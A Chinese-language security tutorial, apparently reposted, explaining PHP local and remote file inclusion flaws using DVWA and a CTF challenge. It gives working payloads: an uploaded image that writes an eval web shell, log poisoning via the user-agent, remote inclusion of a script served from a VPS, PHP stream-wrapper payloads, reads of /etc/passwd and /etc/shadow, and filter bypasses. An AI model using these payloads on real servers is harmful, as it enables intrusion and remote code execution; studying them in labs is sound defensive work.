文件包含漏洞从入门到精通

admin 2025年1月16日22:56:23评论4 views字数 3901阅读13分0秒阅读模式

文件包含漏洞

一、什么是文件包含漏洞

  1. 漏洞成因:

    • 为了提高代码的复用性和模块化,开发人员通常会将可重复使用的函数或代码段写入到单个文件中。在需要使用这些函数或代码段时,直接调用此文件,而无需再次编写。这种调用文件的过程被称为“包含”。

    • 开发人员没有对用户输入的参数进行正确的过滤和检查,导致攻击者可以在包含文件时控制参数的值,从而访问敏感文件或执行恶意代码。

  2. 漏洞函数:include(),require(),include_once(),require_once()

    • include()函数包含并运行指定文件,文件不存在发出警告,脚本继续执行。

    • require()函数处理失败时报错,脚本终止。

    • include_once()和include类似,但只包含一次。

    • require_once()与require相似,但只包含一次。

  3. 漏洞分类:

    • 本地文件包含(Local File Inclusion, LFI):攻击者可以读取任何文件,包括敏感的配置文件、密码文件。

    • 远程文件包含(Remote File Inclusion, RFI):攻击者可以访问远程服务器上的文件或者下载、执行恶意代码。

二、本地文件包含漏洞利用方式

1. 文件读取

使用一个不存在的文件测试,发现有警告,且爆出了绝对路径,我们看下源代码,使用include()函数的特点

文件包含漏洞从入门到精通
if( isset( $file ) )include( $file );else {header( 'Location:?page=include.php' );exit;}

将include函数修改为require函数再试一次,发现报错

文件包含漏洞从入门到精通

回归正题,绝对路径读取C盘下的win.ini

文件包含漏洞从入门到精通

使用…/…/相对路径读取

文件包含漏洞从入门到精通

敏感文件:

  • 存储用户账号信息 /etc/passwd

  • 存储用户密码的哈希值 /etc/shadow

  • apache配置文件 /etc/httpd/conf/httpd.conf(centos);/etc/apache2/apache2.conf(ubuntu)

  • apache日志文件 /var/log/httpd/access_log(centos);/var/log/apache2/access.log(ubuntu)

  • nginx配置文件 /etc/nginx/nginx.conf

  • nginx日志文件 /var/log/nginx/access.log

2. 文件执行

在该目录上传一个phpinfo.php

<?php phpinfo();?>

使用文件包含漏洞,发现成功解析

文件包含漏洞从入门到精通

由此可见,被包含的php文件中的代码会被执行

小思路:当我们发现了一个文件包含漏洞,但我们只能去读取一些本地的文件,不能getshell,恰好在这个网站上有文件上传点,这个文件上传点不能上传木马,只能发送图片,而这个图片却没有做严格的限制;或上传的木马因权限问题无法访问时,这两个漏洞结合一下的话,就能达到很大效果了。比如我们上传了一个图片木马,网站不能解析,但们可以使用文件包含漏洞,去对这个文件进行包含,文件包含会执行php代码。

(1)配合文件上传getshell

上传一个jpg文件

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?> # 在该目录下写一个shell.php的木马

文件包含漏洞从入门到精通payload:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/dvwa/hackable/uploads/shell.jpg包含一下这个jgp文件,使用文件包含漏洞执行php代码,使用蚁剑连接一下。

文件包含漏洞从入门到精通

(2)配合日志文件getshell

环境:ctfshow web4

访问一个不存在的路径https://b72a9fce-0d8a-4e30-bf3f-cd69a4b0f57b.challenge.ctf.show/ddddddsb

查看日志(nginx默认日志/var/log/nginx/access.log):https://b72a9fce-0d8a-4e30-bf3f-cd69a4b0f57b.challenge.ctf.show/?url=/var/log/nginx/access.log,发现我们的请求被记录

文件包含漏洞从入门到精通

包含时间、ip、请求路径、user-agent。使用burp抓包在ua处插入一句话木马

使用蚁剑进行连接

文件包含漏洞从入门到精通

三、远程文件包含(RFI)利用方式

1. 包含远程恶意文件

测试https://www.baidu.com

文件包含漏洞从入门到精通

在vps上布置一个恶意php脚本

python -m http.server 8000 # 使用python开启http服务

远程包含恶意文件http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://172.16.14.105:8000/phpinfo.php

文件包含漏洞从入门到精通

四、伪协议的利用

1. file://

  1. 作用:读取本地文件

  2. 使用方法:file://[文件的绝对路径和文件名]

    文件包含漏洞从入门到精通

2. php://filter

  1. 作用:设计用于数据流打开时的筛选过滤应用。

  2. 使用方法:

    resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。
    必选
    read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。
    可选
    write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。
    可选
    <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
    • base64编码读文件:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/dvwa/php.ini

    • 文件包含漏洞从入门到精通

3. php://input

  1. 作用:可以访问请求的原始数据的只读流

  2. 使用方法:php://input + [POST DATA]执行php代码

    文件包含漏洞从入门到精通

4. data://

  1. 作用:可以用来执行PHP代码。

  2. 使用方法:

    • data://text/plain,

    • data://text/plain;base64

      http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain,%3C?php%20phpinfo();?%3E

      文件包含漏洞从入门到精通

      http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

      文件包含漏洞从入门到精通

5. http:// & https://

  1. 作用:允许通过HTTP 1.0的 GET方法,以只读访问文件或资源。

  2. 使用方法:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://www.baidu.com

    文件包含漏洞从入门到精通

6. zip:// & bzip2:// & zlib://

  1. 作用:可以访问压缩文件中的子文件,且不需要指定后缀名。

  2. 使用方法:压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

    http://127.0.0.1/dvwa/vulnerabilities/fi/?page=zip://D:phpstudy_proWWWdvwahackableuploadsphpinfo.jpg%23phpinfo.txt

文件包含漏洞从入门到精通

五、绕过方式

1. 大小写、双写绕过

<?php// The page we wish to display$file = $_GET[ 'page' ];// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );$file = str_replace( array( "../", "..\" ), "", $file );?>

过滤了'http://';'https://';

大小写绕过:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=HtTp://www.baidu.com

双写绕过:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com

过滤'../';'..\',双写绕过:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././php.ini

2. 伪协议绕过

<?php// The page we wish to display$file = $_GET[ 'page' ];// Input validationif( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;}?> # 使用fnmatch函数检查page参数,要求page参数的开头必须是file

file伪协议绕过:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/dvwa/php.ini

文件包含漏洞从入门到精通
转自:https://www.freebuf.com/articles/web/419155.html

原文始发于微信公众号(船山信安):文件包含漏洞从入门到精通

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日22:56:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件包含漏洞从入门到精通https://cn-sec.com/archives/3634472.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息